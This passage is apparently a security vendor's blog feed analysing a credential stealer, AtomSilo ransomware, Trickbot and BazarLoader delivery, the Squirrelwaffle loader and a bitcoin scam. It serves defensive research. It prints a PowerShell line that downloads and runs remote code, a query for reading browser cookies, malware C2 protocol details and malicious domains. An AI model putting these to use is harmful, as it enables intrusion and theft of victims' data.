cookies C:\cookies0 SELECT host_key, is_httponly, path, is_secure, expires_utc, name, encrypted_value, creation_utc FROM cookies order by host_key,creation_utc desc True The below snippet shows the format in which malware will store the related information. Note:- Similar code and logic is there for stealing information from other browsers (except Firefox). The below snapshot shows the list of browsers targeted by the malware author. <Browser>Service = Responsible for checking the targeted file location and then writing of the decrypted data. <Browser>Decryptor= Responsible for decryption of the encrypted data In the case of Firefox, the malware targets cookies.sqlite, signons.sqlite and logins.json files to carve out the sensitive information and stores the data in <Installation_Path>\Item\cookies\FFProfile_Cookies.txt and <Installation_Path>\Item\Password\FFProfile_PASSWORD_.txt respectively. It is to be noted that for decryption of encrypted data, the malware uses PK11SDR_Decrypt” API of nss3.dll. Zip file creation code After stealing all the data from different browsers, the malware then creates a zip file which shall be sent to the command and control (C2) server. The below code explains the same. Telegram Bot After zip creation, in order to transfer the zip file, the malware initiates C2 communication to its Telegram bot, using a hard-coded token. The snippets of the code are shown below. Setting up of required protocols + Reading of zip file + Sending data (labeled 1) Full telegram bot url (labeled 2) Post-Stealing Activities After successfully performing the stealing activities, in order to leave no trace, the malware displays a pop-up with a false message to update the application and asks the user for confirmation to proceed ahead. Once the user responds, then the malware opens a legitimate link in the foreground and deletes the created zip file in the background, irrespective of the option chosen by the user. It means that even if the user selects “No,” the code will execute in the same pattern. How to Defend Against This Attack Zscaler's multilayered cloud security platform detects these indicators at various levels: Win32.Backdoor.MultiloginBot. The Zscaler sandbox coverage is below: MITRE Att&ck Table T1584 Compromise Infrastructure T1547 Boot or Autostart Execution T1555 Credentials from Password Stores T1567 Exfiltration over Web Services T1059 Command and Scripting Interpreter T1005 Data from Local System T1114 Email Collection T1560 Archive Collected Data T1606 Forge Web Credentials IOCS Below are information on IOCs, including MD5 hashes and URLs, that should be blocked. MD5s 9986d6836e6b4456fd38e7d5b036c727 f991573756dbc778b52b84212c7a36c5 Phishing domains: multilogin-uk[.]com multilogin-us[.]com Fri, 22 Oct 2021 03:32:03 -0700 Stuti Chaturvedi New Insights: Is China watching your IoT traffic? To add insult to injury, the Internet of Things (IoT) doesn’t just have notoriously poor security, the connected devices are now front and center in the fallout of critical control systems. These days, everyone is taking notice…or maybe not. In July 2021, the White House warned that if the Russian government didn’t take action against ransomware gangs involved in attacks like that on the Colonial Pipeline, they would. While it’s no secret that destinations like Russia and China are now hotbeds for malicious activity, can we conclude that all the activity going back and forth deserves that designation? A recent report from the Zscaler ThreatLabz threat research team, IoT in the Enterprise: Empty Office Edition, pulls back the curtain to reveal our answer. And as an added bonus, it also sheds light on an eye-opening fact: we aren’t giving IoT security enough attention. What Happens When IoT Devices Are Left Alone When the world suddenly shifted over to remote work, corporate offices were desolate, yet still buzzing with activity from IoT devices. Although abandoned, the connected IP cameras, smart TVs, printers, and a variety of other devices continued normal day-to-day activities of refreshing data, performing functions, and awaiting commands. Regardless of the pounding of headlines constantly reminding us of IoT security risks, many IT and security teams didn’t follow best practices when it came to securing IoT devices. And in our investigation, that led us to find 550 unique IoT device types freely communicating over corporate networks. But adversaries did have the time and the drive—taking advantage of the chaos, resulting in a 700% increase in IoT-specific malware year over year. The Intersection of China and Riskiest Devices Studied over the last two weeks of December 2020, when most non-essential business office locations were shut down, our team gathered data from Zscaler cloud customers on IoT malware and IoT device fingerprinting to identify IoT devices and traffic. Not surprisingly, manufacturing and retail devices accounted for 59 percent of transactions. However, what was also noteworthy was something much less prominent—the five percent of transactions from entertainment and home automation devices. Despite accounting for the lowest total traffic of all categories, entertainment and home automation had the most device variety and included a number of consumer devices—a total of 420 devices from 150 different manufacturers. Not only that, but the devices topped the charts in the percentage of traffic using plaintext communications. The importance here is that without encrypting communications, these devices are easier for attackers to spy on or, worse, to intercept and modify for malicious purposes. So where do China and Russia fall in all of this? Turns out that entertainment and home automation devices are much more likely to route to these locations--particularly China--than devices from the other categories we investigated. While much of this is legitimate, non-malicious traffic, Zscaler ThreatLabz and the White House consider the destinations to be suspicious due to their potential for government spying and other data vulnerabilities. During our data analysis, we also discovered that almost all (99.9%) of this suspicious traffic came from smart TVs and set-top boxes. So who knows, it might not be malware. Maybe Xi Jinping is simply trying to intercept his favorite reality show? If nothing else, we can gain some comic relief from the thought. Suspicious or Not: Use Zero Trust As the list of connected devices continues to grow, permeating our corporate networks (and less secure WiFi networks as we work from anywhere), it is almost impossible to keep adversaries from sensitive data and crown jewels as they move laterally throughout our networks. Zscaler’s recent research reaffirms that. To mitigate the threat of IoT malware, both from sanctioned and unsanctioned devices, a zero trust architecture is the only way forward. The reality is that most IoT devices have no business interacting with your corporate data or applications, period. Rather than trying to conclude and react to if it’s a nation state attack, a dictator watching his programs, or a harmless Tesla pulling up in the parking lot, it’s best to assume that all activity cannot be trusted and stop unrestricted network access. By shifting from legacy network-centric security to a zero trust architecture, you can achieve this by eliminating implicit-trust policies and tightly controlling access using dynamic identity-based authentication. Then, only when you know who the user is, what the device is, and whether that user and device are allowed to access the application will the trusted person or device be able to touch the network. With zero-trust security architectures and policies in place, enterprises can feel confident that even as employees begin to return to the office, their smartwatches won’t be an open door into the network for malware. Want more insight into what was really happening with our IoT devices over the course of the pandemic? Get your copy of IoT in the Enterprise: Empty Office Edition. Tue, 19 Oct 2021 07:12:28 -0700 Mark Brozek AtomSilo Ransomware Enters the League of Double Extortion Ransomware is used widely in cyberattacks to disrupt the victim's organization. Over the last two years, many attackers have evolved their ransomware tactics to include data exfiltration. This tactic is known as "double-extortion": attackers demand ransom for the data decryption in addition to the ransom to prevent public release of the stolen data. ThreatLabz monitors these threat actors and analyzes the attack sequences of double extortion attacks. AtomSilo is a new player on the scene, and in this blog, we'll break down the details of their attacks. Introduction AtomSilo ransomware emerged around September 2021, with their tactics including exfiltrating and publishing their first victim's data. We'll break down one of their attacks, which started with initial access through exploiting a vulnerability in Atlassian’s Confluence collaboration software. The ransomware operators planted a back door using legitimate software via a dll side loading technique. The backdoor allowed remote code execution of Windows Shell commands through WMI (Windows Management Interface), which operators exploited using compromised administrative accounts before dropping AtomSilo. Technical Analysis The AtomSilo payload is 64-bit and packed with a modified UPX packer. Once executed, it enumerates each drive and drops a ransom note in each folder except the few listed in Table1. The ransom note is named “README-FILE-{COMPUTER_Name}-{DateTime}.hta”. Figure 1: AtomSilo ransom note It enumerates each file and encrypts all folders and files EXCEPT those that contain the below names: Folder name File name Boot autorun.inf Windows index.html Windows.old boot.ini Tor Browser bootfont.bin Internet Explorer bootsect.bak Google bootmgr Opera bootmgr.efi Opera Software bootmgfw.efi Mozilla desktop.ini Mozilla Firefox iconcache.db $recycle.Bin ntldr ProgramData ntuser.dat All Users ntuser.dat.log #recycle thumbs.db ntuser.ini Table1: List of files and folders It also does not encrypt files with the following extensions: .hta .idx .hlp .ini .html .sys .icl .cab .exe .spl .icns .cur .dll .ocx .ico .cpl .cpl .drv Table2: List of extensions File Encryption Ransomware appends “.atomsilo” extensions to files after encryption. Ransomware uses “CreateFileMappingA” and “MapViewOfFile” APIs to map the file in memory and moves the pointer to the start of the mapped file. AtomSilo uses XOR and AES Encryption algorithms to encrypt files. It generates AES round keys using the “AESKEYGENASSIST” instruction as shown in the below figure. Figure 2: AtomSilo generates encryption keys using AESKEYGENASSIST The encryption key is 240 bytes. The first 32 bytes are randomly generated by the payload, and other 208 bytes are generated using the “AESKEYGENASSIST” instruction. In the file , it takes 16 bytes of plain text and does XOR as a first stage encryption. Then, it encrypts it with 14 rounds of AES encryption. It uses “AESENC” instruction for the first 13 rounds and the last round uses “AESENCLAST” instruction. Figure 3: Encrypting data using AES algorithm It encrypts chunks of the file, not the complete file. It encrypts the first 16 bytes, leaves the next 32 bytes as-is, encrypts the next 16 bytes, and so on. The below screenshot shows the comparison of the normal file and encrypted file, where we can see that chunks of files are not encrypted. The encryption key and other information are encrypted and appended at the end of the encrypted file. Figure 4: Original vs Encrypted file Data Leak site According to their leak sites, AtomSilo actors won't attack the following types of organizations: Hospitals. Critical infrastructure facilities (nuclear power plants, power plants, water treatment facilities). Oil and gas industry (pipelines, oil refineries). Educational unit. Non-profit companies. They also promise to provide free decryption if the victim company is on the above list. Figure 5: Data leak site The first data leak was from a Brazilian Pharmaceutical company. AtomSilo published around 900 GB data as shown in the below screenshot: Figure 6: Victim data published on data leak site Cloud Sandbox Detection Figure 7: Zscaler Cloud Sandbox detection of AtomSilo ransomware In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators at various levels. Win64.Ransom.AtomSilo IOC Md5 04a8307259478245cbae49940b6d655a Fri, 15 Oct 2021 15:46:58 -0700 Rajdeepsinh Dodia New Trickbot and BazarLoader campaigns use multiple delivery vectors The Zscaler ThreatLabz research team monitors thousands of files daily tracking new and pervasive threats, including one of the most prominent banking trojans of the last five years: Trickbot. Trickbot has been active since 2016 and is linked to a large number of malicious campaigns involving bitcoin mining and theft of banking information, personal identifying information (PII), and credentials. BazarLoader is a spinoff of this trojan, developed by the same authors. Both are particularly dangerous as they are easily modifiable and capable of delivering multi-stage payloads, as well as taking over computers entirely. ThreatLabz has discovered Trickbot operators using new approaches to delivering payloads in recent attack campaigns. The malware samples we analyzed were well-crafted and highly obfuscated with sandbox-evading capabilities. In this blog post, we will show analysis of the different delivery vectors used by Trickbot and BazarLoader. Key Points: 1. Script and LNK files added evasion techniques to leverage Malware threats. 2. Multilayer obfuscation is used to preclude analysis of JS and LNK files. 3. An Office attachment drops an HTA file with snippets of HTML and javascript functions. 4. Newly registered domains are used to deliver threats. Trickbot is expanding its range of file types for malware delivery In previous campaigns, Trickbot payloads were generally dropped as malicious attachments to Microsoft Office files. In the last month, we’ve seen that malware has also used javascript files at a high volume, along with a range of other file formats, as shown in the following charts: Fig1:Trickbot blocked in the Zscaler Cloud Sandbox Fig2:BazarLoader blocked in the Zscaler Cloud Sandbox In this blog, we’ll walk through the attack chain for multiple delivery vectors, including: Trickbot spreading through scripting files Trickbot spreading through LNK files BazarLoader spreading through Office attachments Trickbot spreading through scripting files Trickbot gains intrusion using spam emails bundled with malicious javascript attachments, such as the following: Fig3:Spam email attachment In this case, the Javascript [5B606A5495A55F2BD8559778A620F21B] file has three layers of obfuscation that are mostly used to evade and bypass sandbox environments. Below is the snapshot of the first obfuscated layer: Fig4:First layer of obfuscation in javascript In addition to taking extreme effort to make javascript files highly obfuscated, the malware authors have also added large amounts of junk code to the end to make debugging more difficult. The junk code is just random generated obfuscated strings that do not play any role with the malicious code. Fig5:Junk code to make analysis difficult Using the eval() function we have de-obfuscated the second layer in which malicious code is embedded with more junk code. After removing this layer of junk code, the eval() function is used once again to retrieve the final layer of code. We can see that the Trickbot authors used the setTimeout() method, which evaluates an expression after a 967 milliseconds to delay execution in the sandbox. This helps the malware evade sandbox environments. Fig6: Second layer of obfuscation in javascript In the above snapshot we are able to see the replace method implemented in the code where “"hdBDJ" and “tSJVh” strings are removed from the variables “YHPhEFtKjqbCmAZ” and “kVYJOrLSqvdAWnaGTX” respectively to get the final string. Fig7:Final layer The malicious Javascript executes cmd.exe as a child process, then cmd.exe executes powershell.exe to download Trickbot as payload. Flow of execution: Wscript.exe ->cmd.exe->powershell.exe Powershell.exe embedded with base64 encoded command and after decoded following command is: IEX (New-Object Net.Webclient).downloadstring(https://jolantagraban{.}pl/log/57843441668980/dll/assistant{.}php") Fig8:Zscaler Cloud Sandbox detection of Javascript Downloader Trickbot spreading through LNK files Windows LNK (LNK) extensions are usually seen by users as shortcuts, and we have frequently observed cybercriminals using LNK files to download malicious files such as Trickbot. Trickbot hides the code in the argument section under the properties section of the LNK file. The malware author added extra spaces in between the malicious code to attempt to make it more difficult for researchers to debug the code. We’ve seen this technique used previously in the Emotet campaign using malicious Office attachments in 2018. Fig9:Code embedded in the properties section of LNK Downloading Trickbot : LNK downloads the file from using a silent argument so that the user is not able to see any error message or progress action. After downloading, the malware saves the file to the Temp folder with the name application1_form.pdf. Finally, the file is renamed from application1_form.pdf to support.exe and executed. Here, support.exe is Trickbot. Fig10:Zscaler Cloud Sandbox detection of LNK Downloader BazarLoader spreading through Office attachments This is one of the other techniques used in TA551 APT aka Shathak. Malicious office documents drop the HTA file to “C\ProgramData\sda.HTA”. This HTA file contains HTML and vbscript designed to retrieve a malicious DLL to infect a vulnerable Windows host with BazarLoader. Once macro-enabled, the mshta.exe process executes to download a payload. This campaign has been observed delivering BazarLoader and Trickbot in the past. Fig11:Attack chain of DOC file to download BazarLoader Base64 encoded data is implemented in the HTML <div> tag which is used later with javascript. Fig12:Dropped HTA file : Malicious base64 encoded under HTML <div> section Below is the snapshot of decode base64 data in which we can see it downloading the payload and saving as friendIFriend,jpg to the victim machine: Fig13:Dropped HTA file : Decode Base64 data Networking : C&C to download BazarLoader Fig14:Sending request to download BazarLoader We have also observed newly registered domains (NRDs) specifically created to distribute these payloads, using a stealer delivered through spam email and bundled with a malicious Microsoft Office attachment. Fig15: Newly registered domain Fig16:Zscaler Cloud Sandbox detection of Malicious Office file Downloader JS.Downloader.Trickbot Win32.Backdoor.BazarLoader VBA.Downloader.BazarLoader MITRE ATT&CK T5190 Gather Victim Network Information T1189 Drive-by Compromise T1082 System Information Discovery T1140 Deobfuscate/Decode Files or Information T1564 Hide Artifacts T1027 Obfuscated Files or Information Indicators of Compromise Md5 Filename FileType B79AA1E30CD460B573114793CABDAFEB 100.js JS AB0BC0DDAB99FD245C8808D2984541FB 4821.js JS 192D054C18EB592E85EBF6DE4334FA4D 4014.js JS 21064644ED167754CF3B0C853C056F54 7776.js JS 3B71E166590CD12D6254F7F8BB497F5A 7770.js JS 5B606A5495A55F2BD8559778A620F21B 68.js JS BA89D7FC5C4A30868EA060D526DBCF56 Subcontractor Reviews (Sep 2021).lnk LNK Md5 Filename Filetype C7298C4B0AF3279942B2FF630999E746 a087650f65f087341d07ea07aa89531624ad8c1671bc17751d3986e503bfb76.bin.sample.gz DOC 3F06A786F1D4EA3402A3A23E61279931 - DOC Associated URLs: C&C: Domain Payload Trickbot BazarLoader BazarLoader Fri, 08 Oct 2021 09:09:28 -0700 Tarun Dewan Squirrelwaffle: New Loader Delivering Cobalt Strike Zscaler ThreatLabz has been following an emerging new malware loader known as Squirrelwaffle that is being used to deliver Cobalt Strike. In this blog, we will be analyzing the complete attack chain for this new malware family (as shown in Figure 1). This campaign has been running since mid-September 2021. The Squirrelwaffle loader is being delivered from the same infrastructure that was delivering the Qakbot banking trojan. Attack Chain Figure 1: Squirrelwaffle Attack Chain Key Points The campaign started with a malicious document file delivered via spam email campaigns with embedded URLs. The spam campaign is using an email thread hijacking technique that was previously used for Emotet and Qakbot malware campaigns. The malicious document contains a macro that drops and executes a VBS file in the %ProgramData% folder. The VBS file downloads the Squirrelwaffle loader which in turn downloads another loader which further downloads Cobalt Strike. Newly registered domains are used to host the loader payload. The same infrastructure was used to deliver the Qakbot banking trojan. Malware Distribution Strategy Squirrelwaffle campaigns generally start via spam emails that attempt to convince victims to click an embedded URL using a technique known as email thread hijacking. Email thread hijacking leverages emails that have been stolen prior to the attack and later repurposed to dupe a victim into believing that an email is from someone that they know who is replying to the same thread. Once a victim clicks on the URL, a ZIP file is downloaded that contains a Microsoft Word document. These documents follow a similar naming convention matching the regular expression diagram-\d{2,3}.doc. For example, the file with an MD5 hash E599A656599A2680C9392C7329D9D519 has the filename diagram-346.doc. This document is using a DocuSign template lure that instructs the user to enable a macro to view the content (as shown in Figure 2). All the other documents analyzed by Zscaler ThreatLabz have exactly the same content with multiple modules that contain VBA code. Figure 2: Squirrelwaffle Microsoft Word document lure containing a malicious macro Once the user enables the macro, an AutoOpen() subroutine is called which then executes a malicious Visual Basic Application (VBA) macro. Here, the AutoOpen() subroutine calls another function efile() in the bxh module. There is a UserForm object in the document which contains a VBS file named pin.vbs that is embedded in the caption of the DocuSign image. The document that contains the macro code leverages cscript.exe to extract the embedded VBS file, which is written to the %ProgramData% folder, and executed using wscript.exe. This VBS file contains an obfuscated PowerShell script with 5 different URLs to download the Squirrelwaffle payload as shown in Figure 3. The payload is written to %ProgramData% with the filename ww1.dll. Figure 3: Example VBA code that drops a VBS file in the %ProgramData% folder that is used to download Squirrelwaffle The VBS file simply uses the IEX (Invoke-Expression) function to download the Squirrelwaffle loader. The payload DLL is executed via rundll32.exe by invoking the export function name ldr. Figure 4: Example VBS code that downloads and executes the Squirrelwaffle loader. Example (sanitized) URLs that were used to retrieve Squirrelwaffle are shown below: hxxps://priyacareers[.]com/u9hDQN9Yy7g/pt.html hxxps://perfectdemos[.]com/Gv1iNAuMKZ/pt.html hxxps://bussiness-z[.]ml/ze8pCNTIkrIS/pt.html hxxps://cablingpoint[.]com/ByH5NDoE3kQA/pt.html hxxps://bonus.corporatebusinessmachines[.] Figure 5 shows the ProgramData folder after the VBS script is executed and the Squirrelwaffle payloads have been downloaded Figure 5: Disk artifacts after the pin.vbs file has been executed and downloaded the Squirrelwaffle loader DLL. The threat actor behind these campaigns has changed some of their TTPs over time. Recently, the initial infection vector has used hidden Microsoft Excel sheets with an Auto_Open() macro, which downloads the Squirrelwafle loader from three different URLs. The Squirrelwaffle loader is subsequently executed via regsvr32.exe. An example for this campaign shown in Figure 6, used a Microsoft Excel document with the MD5 hash 77BD39191FDC817F2F14F0462BFF8D86 and a filename matching the regular expression diagram-\d{1,9}.xls. Figure 6: Microsoft Excel with a malicious macro used to deliver Squirrelwaffle The hidden sheet in this Excel document is shown in Figure 7. Figure 7: Excel 4.0 hidden sheet containing a malicious macro code The extracted macro code is shown in Figure 8. Figure 8: Macro code extracted from a hidden Excel sheet The threat actor also changed the location where the payload is written to disk. Example (sanitized) URLs that were used to retrieve Squirrelwaffle from this campaign are shown below: hxxps://cortinastelasytrazos[.]com/Yro6Atvj/sec.html hxxps://orquideavallenata[.]com/4jmDb0s9sg/sec.html hxxps://fundacionverdaderosheroes[.]com/gY0Op5Jkht/sec.html Technical Analysis of the Payload This analysis covers the Squirrelwaffle with the MD5 hash 479DAE0F72F4D57BD20E0BF8CB3EBDF7. Once the Squirrelwaffle payload is downloaded, it will either be executed via rundll32.exe or regsvr.exe depending upon the initial infection vector that was used to download the payload. Squirrelwaffle loader samples have a recent compilation date using Visual Studio 2017 as shown in Figure 9. Figure 9: Squirrelwaffle compilation metadata The Squirrelwaffle loader is a 32-bit DLL, which is packed with a custom packer. Similar packers have been observed in other malware families including Ursnif and Zloader. Squirrelwaffle contains a hardcoded configuration that is encrypted in the binary. There are two main components: a list of CnC URLs and a list of IP addresses to block, which belong to sandboxes and analysis platforms. These lists are obfuscated using an XOR-based algorithm with hardcoded keys. An example formatted Squirrelwaffle configuration is shown in Figure 10. Figure 10: Formatted Squirrelwaffle configuration after decryption Once the malware decodes all of the CnC domains and IP addresses to block, it creates a socket and sends the data using the send() function and receives the content from the CnC using recv() calls. The CnC communication protocol utilizes an HTTP POST request with a Base64 encoded payload that is encrypted using an XOR-based algorithm with the hardcoded key KJKLO. An example HTTP POST request is shown below: POST /dXf4cS4GPL/fXMKNg0nKzN/DA15DggBI0N6dX1le310YXlkenw= HTTP/1.1 Host: Content-Length: 76 eHp+fHZ7Q0ICAAUPQkUMcRYePyo5ORcrKiQ4LCkTCjo7CC4/KxceIConIiIoQkMHHw0CAhoKRkI= Note that this request does not contain a User-Agent field in the HTTP header. The path of the HTTP POST request consists of a hardcoded prefix and a Base64 encoded string that is encrypted using the same XOR-based algorithm and key as described above. This encoded string includes an alphanumeric string with a random length between 1 and 28 characters followed by the IP address of the system. Each field is delimited by a single tab character. An example before encryption is shown below: t2nQfj3SL3XByImciQTqVa\t192.168.125.11 The HTTP POST body contains another Base64 encoded string that includes the victim’s computer name, username, application data directory, and workgroup. Each field is delimited with two tab characters. An example payload before encryption is shown below: GEORGE-PC\t\tgeorge\t\tC:\\Users\\george\\AppData\\Roaming\t\tWORKGROUP\t\t This payload is also encrypted with the same XOR-based algorithm and key as the HTTP POST path component. The SquirrelWaffle CnC responds with a Base64 encoded payload that uses the same encryption schema with another format that uses two tab characters as delimiter between fields. These fields include a status code, a timestamp, the external IP address of the system, along with the victim’s system information that was previously sent. An example decrypted response is shown below: 200\r\n\t\t\n\r1631911856\r\n\t\t\n\r174.197.7.69\r\n\t\t\n\rGEORGE-PC\t\tgeorge\t\tC:\\Users\\george\\AppData\\Roaming\t\tWORKGROUP\t\t\r\n\t\t\n\rNONE\r\n\t\t\n\rNONE\r\n\t\t\n\rNONE\r\n\t\t\n\r\r\n\t\t\n\r\r\n\t\t\n\r\r\n\t\t\n\r\r\n\t\t\n\r\r\n\t\t\n\r\r\n\t\t\n\r\r\n\t\t\n\r The SquirrelWaffle CnC response may also contain a second-stage payload. An example decrypted response is shown below: 200\r\n\t\t\n\r1631913267\r\n\t\t\n\r174.197.7.69\r\n\t\t\n\rGEORGE-PC\t\tgeorge\t\tC:\\Users\\george\\AppData\\Roaming\t\tWORKGROUP\t\t\r\n\t\t\n\rNONE\r\n\t\t\n\rNONE\r\n\t\t\n\rMZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe8\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4\t\xcd!\xb8\x01L\xcd!This program cannot be run in DOS mode...\x00\x00\r\n\t\t\n\r\r\n\t\t\n\r\r\n\t\t\n\r\r\n\t\t\n\r\r\n\t\t\n\r\r\n\t\t\n\r\r\n\t\t\n\r\r\n\t\t\n\r This second-stage payload will be written to a filename that consists of eleven random alphanumeric characters appended with a .txt extension, and then executed by SquirrelWaffle. Zscaler ThreatLabz has observed Squirrelwaffle deliver an executable file with the MD5 hash 116301FD453397FDF3CB291341924147. This file is packed and decrypted in memory to produce a Cobalt Strike stager with the MD5 hash 38DB72B33ABCEA250F5B7CB5AB514B2C, which further downloads the Cobalt Strike beacon. Figure 11 below shows interesting strings in the Cobalt Strike stager that impersonates a jQuery request. The EICAR string is likely an artifact from the threat actor using a demo version of Cobalt Strike. Figure 11: Cobalt Strike stager delivered by Squirrelwaffle with interesting strings highlighted. The Cobalt Strike stager sends an HTTPS GET request to 213.227.154[.]92 with the path /jquery-3.3.1.slim.min.js. The Cobalt Strike CnC server responds with a jQuery file with the encrypted Cobalt Strike beacon embedded as binary data in the middle of the file as shown in Figure 12. Figure 12: Encrypted Cobalt Strike beacon embedded in jQuery code starting at offset 0xfaf. This binary data consists of shellcode that decrypts the Cobalt Strike beacon using the XOR-based algorithm replicated below in Figure 13. Figure 13: Cobalt Strike beacon decryption algorithm. The Cobalt Strike beacon observed by Zscaler ThreatLabz contains the following CnC servers: hxxps://, hxxps:// Cloud Sandbox Detection Figure 14: Zscaler Cloud Sandbox detection of Squirrelwaffle Loader In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators at various levels including the signature shown below: Win32.Downloader.Squirrelwaffle Conclusion After the Emotet botnet takedown earlier this year, criminal threat actors are filling that void. Squirrelwaffle appears to be a new loader taking advantage of this gap. It is not yet clear if Squirrelwaffle is developed and distributed by a known threat actor or a new group. However, similar distribution techniques were previously used by Emotet. The Zscaler ThreatLabz team will continue to monitor this attack, as well as others, to help keep our customers safe. MITRE ATT&CK TTP Mapping Tactic Technique T1059 Command and Scripting Interpreter T1592 Gather Victim Host Information T1569 System Services T1137 Office Application Startup T1055 Process Injection T1140 Deobfuscate/Decode Files or Information T1436 Commonly Used Port T1437 Standard Application Layer Protocol T1106 Native API Indicators of Compromise Squirrelwaffle ZIP archive URLs hxxp://amaimaging[.]com/voluptas-quidem/ hxxp://beautifulgist[.]com/id-alias/ hxxp://bussiness-z[.]ml/qui-quia/ hxxp://gadhwadasamaj.techofi[.]in/expedita-consequatur/ hxxp://[.]za/voluptate-sunt/ hxxp://insurance.akademiilmujaya[.]com/beatae-sunt/ hxxp://prevenzioneformazionelavoro[.]it/quasi-reprehenderit/ hxxp://procatodicadelacosta[.]com/neque-et/ hxxp://readgasm[.]com/repudiandae-provident/ hxxp://rinconadadellago[.] hxxp://saraviatowing[.]net/et-praesentium/ hxxp://shahanaschool[.]in/illum-accusamus/ hxxp://srv7.corpwebcontrol[.]com/np/ hxxp://srv7.corpwebcontrol[.]com/np/ hxxp://stripemovired.ramfactoryarg[.]com/nostrum-ab/ hxxp://syncun[.]com/natus-aut/ hxxp://tradingview-brokers.skoconstructionng[.]com/molestiae-voluptatum/ hxxps://abogados-en-medellin[.]com/odit-error/ hxxps://amaimaging[.]com/voluptas-quidem/ hxxps://builtbvbh-com[.]gq/eum-est/ hxxps://builtbybh-com[.]gq/eum-est/ hxxps://builtybybh-com[.]gq/eum-est/ hxxps://cctvfiles[.]xyz/aliquam-ipsam/ hxxps://focus.focalrack[.]com/enim-rerum/ hxxps://[.]za/voluptate-sunt/ hxxps://kmslogistik[.]com/repellat-et/ hxxps://moeinjelveh[.]ir/et-eligendi/ hxxps://readgasm[.]com/repudiandae-provident/ hxxps://saraviatowing[.]net/et-praesentium/ hxxps://[.]in/temporibus-aut/ hxxps://shivrajengineering[.]in/qui-dolores/ Squirrelwaffle Loader URLs hxxps://ghapan[.]com/Kdg73onC3oQ/090921.html hxxps://yoowi[.]net/tDzEJ8uVGwdj/130921.html hxxps://gruasingenieria[.]pe/LUS1NTVui6/090921.html hxxps://chaturanga.groopy[.]com/7SEZBnhMLW/130921.html hxxps://lotolands[.]com/JtaTAt4Ej/130921.html hxxps://cortinastelasytrazos[.]com/Yro6Atvj/sec.html hxxps://orquideavallenata[.]com/4jmDb0s9sg/sec.html hxxps://fundacionverdaderosheroes[.]com/gY0Op5Jkht/sec.html Squirrelwaffle Word Document File MD5 Hashes 326498ae163f0d6b8a863d24793f152d 2156a1a8b0c579a51ea77d1bc7062b49 5e9f33e5baa6d6efca91c8db78c01bd0 fae4ca3c95a5068063637b2f2ed3a5b2 a449e5044437c453fce2ead881aa8161 c27545fbb3b4ff35277bce1383655e46 c774e400b46f4c0bb90c11e349bc36a0 c2ed8fc614aeda36a7e3a638fa7db16a db11964b27738bf4e3a1501e11bd54ad 822e20c95df7165009600a9bfbff9b5e c1ed800a4ae9d4efd61de3aa7fd657b4 b478bc389fc15e17b231984fa80e2b0d e599a656599a2680c9392c7329d9d519 da48063b7d75ec645f4370b95c28675c c3bd4145feaaae541cb17ccc7cbd2e44 558f97103085394c3a35c9b03839fe72 a07f5b21376cd2b661f36dcdc2081b75 5b50f7beabcff32bd02de2dda2766a7b Squirrelwaffle VBS File MD5 Hash 9da69f65ce4e8e57aef3ea1dd96f42ec Squirrelwaffle Loader MD5 Hashes 7e9ba57db08f53b56715b0a8121bd839 5ec89ea30af2cc38ae183d12ffacbcf7 a3ecc9951178447b546b004ea2dfd93f 9545905ea3735dcac289eead39e3f893 732ce2ef4b18042ef9e3f3e52ad59916 cb905bb6a38b5d253eb64aab46eafbd7 ebeeef845d0d666363935da89a57b44d Unpacked DLL file MD5 Hash 3ecc9ca5e744d7ddafa04834c70b95c3 Domain used by the DLL for Squirrelwaffle CnC 107[.]180[.]12[.]15 port 80 centralfloridaasphalt[.]com 119[.]235[.]250[.]50 port 80 kmslogistik[.]com 143[.]95[.]80[.]83 port 80 chaturanga[.]groopy[.]com 160[.]153[.]129[.]37 port 80 mercyfoundationcio[.]org 160[.]153[.]129[.]37 port 80 shoeclearanceoutlet[.]co[.]uk 160[.]153[.]131[.]187 port 80 spiritofprespa[.]com 166[.]62[.]28[.]139 port 80 jhehosting[.]com 166[.]62[.]28[.]139 port 80 key4net[.]com 166[.]62[.]28[.]139 port 80 lead[.]jhinfotech[.]co 166[.]62[.]28[.]139 port 80 voip[.]voipcallhub[.]com 166[.]62[.]28[.]139 port 80 voipcallhub[.]com 194[.]181[.]228[.]45 port 80 bartek-lenart[.]pl 194[.]181[.]228[.]45 port 80 lenartsa[.]webd[.]pro 202[.]52[.]147[.]113 port 80 amjsys[.]com 203[.]124[.]44[.]95 port 80 novamarketing[.]com[.]pk 216[.]219[.]81[.]3 port 80 ems[.]prodigygroupindia[.]com 216[.]219[.]81[.]3 port 80 hrms[.]prodigygroupindia[.]com Cobalt Strike Stager MD5 Hashes 116301fd453397fdf3cb291341924147 ef799b5261fd69b56c8b70a3d22d5120 Cobalt Strike CnC Servers 213.227.154[.]92:443/jquery-3.3.1.min.js 213.227.154[.]92:8080/jquery-3.3.1.min.js systemmentorsec[.]com:443/jquery-3.3.1.min.js systemmentorsec[.]com:8080/jquery-3.3.1.min.js Tue, 28 Sep 2021 08:39:18 -0700 Avinash Kumar Scammer luring Apple enthusiasts on launch event We often see scammers luring victims by taking advantage of hype related to events or game launches. We observed a similar tactic during the iPhone 13 launch event. Due to the COVID-19 pandemic, this was an online launch event and was broadcasted live on the official Apple Youtube channel. But, there were few Youtube channels that were claiming to stream this event live. While observing one such channel, we saw promotional news with the following title: With many events happening during this time, this was an attractive link for viewers to join with hopes of getting benefits. Following is the screenshot of the YouTube video which claimed to live broadcast the Apple event. Observe the channel logo which resembles the official Apple YouTube channel to deceive the watchers. By the time of discovery, 16k+ users were watching the video and the channel had 1.3M subscribers, which is quite a high number for any scamming activity. Once a user visits the site, the page offers two choices as shown below. Once a user clicks on any of the buttons, it redirects to a page promoting Apple’s venture in CryptoCurrency and a giveaway of 1000 Bitcoins. The theme of the site and color combination is also consistent with the official Apple site, designed to deceive the visitors into believing it was the official Apple website. The page asks visitors to participate in giveaways and provides the instructions as shown below. The instructions direct users to transfer between 0.1 BTC and 20 BTC to the bitcoin address shown in the below screenshot and receive 2X in return. The page also advertised that 819 BTC had already been distributed to participants to make users believe its authenticity. The QR code is pointing to the following Bitcoin address where users can send bitcoin in order to double the bitcoins. 